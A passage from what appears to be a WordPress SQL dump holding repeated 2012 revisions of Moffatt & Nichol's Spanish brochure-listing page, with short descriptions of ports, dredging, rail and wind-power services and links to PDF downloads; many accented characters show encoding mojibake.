margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-10','','','2012-06-14 12:20:46','2012-06-14 12:20:46','',1995,'http://moffattnichol.com/spanish/1995-revision-10/',0,'revision','',0),(2439,1,'2012-06-14 12:21:17','2012-06-14 12:21:17','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-11','','','2012-06-14 12:21:17','2012-06-14 12:21:17','',1995,'http://moffattnichol.com/spanish/1995-revision-11/',0,'revision','',0),(2440,1,'2012-06-14 12:21:38','2012-06-14 12:21:38','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-12','','','2012-06-14 12:21:38','2012-06-14 12:21:38','',1995,'http://moffattnichol.com/spanish/1995-revision-12/',0,'revision','',0),(2441,1,'2012-06-14 12:22:55','2012-06-14 12:22:55','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" 